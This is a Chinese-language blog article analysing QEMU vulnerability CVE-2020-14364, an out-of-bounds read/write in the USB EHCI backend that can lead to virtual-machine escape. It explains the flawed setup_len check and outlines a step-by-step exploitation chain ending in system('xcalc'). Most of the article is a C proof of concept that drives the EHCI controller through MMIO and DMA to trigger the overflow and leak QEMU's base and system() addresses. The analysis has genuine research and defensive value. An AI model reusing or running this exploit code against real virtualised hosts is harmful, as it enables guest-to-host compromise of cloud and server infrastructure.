溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行QEMU CVE-2020-14364的漏洞分析

發(fā)布時間:2021-12-28 17:04:27 來源:億速云 閱讀:138 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何進(jìn)行QEMU CVE-2020-14364的漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

QEMU 簡介

QEMU(quick emulator)是一款由Fabrice Bellard等人編寫的免費的可執(zhí)行硬件虛擬化開源托管虛擬機(VMM)。

QEMU的USB后端在實現(xiàn)USB控制器與USB設(shè)備通信時存在越界讀寫漏洞可能導(dǎo)致虛擬機逃逸。

漏洞成因

USB總線通過創(chuàng)建一個USBpacket對象來和USB設(shè)備通信.

Usbpacket對象中包含以下關(guān)鍵內(nèi)容

struct USBPacket {

    /* Data fields for use by the driver.  */

    int pid;

    uint64_t id;

    USBEndpoint *ep;

    ....

};

其中 “pid” 表明 packet 的類型,存在三種類型 in、out、setup, ep指向endpoint對象,通過此結(jié)構(gòu)定位目標(biāo)usb設(shè)備.

數(shù)據(jù)交換為 usbdevice 中緩沖區(qū)的 data_buf 與 usbpacket 對象中使用 usb_packet_map 申請的緩沖區(qū)兩者間通過 usb_packet_copy 函數(shù)實現(xiàn),為了防止兩者緩沖區(qū)長度不匹配,傳送的長度由 s->setup_len 限制

case SETUP_STATE_DATA:

if (s->setup_buf[0] & USB_DIR_IN) {

            int len = s->setup_len - s->setup_index;

            if (len > p->iov.size) {

                len = p->iov.size;

            }

            usb_packet_copy(p, s->data_buf + s->setup_index, len);

            s->setup_index += len;

            if (s->setup_index >= s->setup_len) {

                s->setup_state = SETUP_STATE_ACK;

            }

            return;

        }

漏洞存在于s->setup_len賦值的過程do_token_setup中.

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];

    if (s->setup_len > sizeof(s->data_buf)) {

        fprintf(stderr,

                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",

                s->setup_len, sizeof(s->data_buf));

        p->status = USB_RET_STALL;

        return;

    }

雖然進(jìn)行了校驗,但是由于在校驗前,s->setup_len的值已經(jīng)被設(shè)置導(dǎo)致之后的do_token_in或者do_token_out中使用usb_packet_copy時會產(chǎn)生越界讀寫漏洞.

漏洞利用:

1、泄露 USBdevice 對象的地址。

觀察越界可讀內(nèi)容發(fā)現(xiàn)

struct USBDevice {

    ...

    uint8_t setup_buf[8];

    uint8_t data_buf[4096];

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

 

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[USB_MAX_ENDPOINTS];

    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

 

    QLIST_HEAD(, USBDescString) strings;

    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */

    const USBDescDevice *device;

 

...};

可以從下方的ep_ctl->dev獲取到usbdevice的對象地址.

2、 通過usbdevice的對象地址我們可以得到s->data_buf的位置,之后只需要覆蓋下方的setup_index為目標(biāo)地址-(s->data_buf)即可實現(xiàn)任意地址寫。

3、我們還需要獲取任何地址讀取功能,setup_buf [0]控制寫入方向,并且只能由do_token_setup進(jìn)行修改。 由于我們在第二步中使用了越界寫入功能,因此setup_buf [0]是寫入方向,因此只可以進(jìn)行寫入操作,無法讀取。

繞過方法:設(shè)置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次將setup_index修改為要讀取的地址,以實現(xiàn)任意地址讀取

4、通過任意地址讀取 usbdevice 對象的內(nèi)容以獲取 ehcistate 對象地址,再次使用任意地址讀取 ehcistate 對象的內(nèi)容以獲取 ehci_bus_ops_companion 地址。 該地址位于程序data節(jié)區(qū)。 這時,我們可以獲得程序的加載地址和 system @ plt地址。也可以通過讀取usbdevice固定偏移位置后的usb-tablet對象來獲得加載地址。

5、在data_buf中偽造irq結(jié)構(gòu)。

6、以偽造結(jié)構(gòu)劫持ehcistate中的irq對象。

7、通過mmio讀取寄存器以觸發(fā)ehci_update_irq,執(zhí)行system(“ xcalc”)。 完成利用。

漏洞poc代碼

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <stdbool.h>
#include <netinet/in.h>  
unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;

    /* endpoint capabilities */
    uint32_t epcap;

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;

    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqtd;
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
	
    // Assert page alignment

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
     
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present
     

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}
 
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}
void init(){

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");


dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;

}
void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&amp0xff;
setup_buf[7]=(len>>8)&amp0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);


qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);

qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);

}
int main()
{

init();

iopl(3);
outw(0,0xc0c0);
outw(0,0xc0e0);
outw(0,0xc010);
outw(0,0xc0a0);
sleep(3);
init_state();
sleep(2);
set_length(0x2000,0x80);
sleep(2);
do_copy_read();
sleep(2);
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr=usb_device.ep_ctl.dev;



uint64_t *tmp=dmabuf+0x24f4;
long long base=*tmp;
if(base == 0){
printf("INIT DOWN,DO IT AGAIN");
return 0;
}

base-=0xee5480-0x2668c0;
uint64_t system=base+0x2d9610;
puts("\\\\\\\\\\\\\\\\\\\\\\\\");

printf("LEAK BASE ADDRESS:%llx!\n",base);
printf("LEAK SYSTEM ADDRESS:%llx!\n",system);
puts("\\\\\\\\\\\\\\\\\\\\\\\\");
}

關(guān)于如何進(jìn)行QEMU CVE-2020-14364的漏洞分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI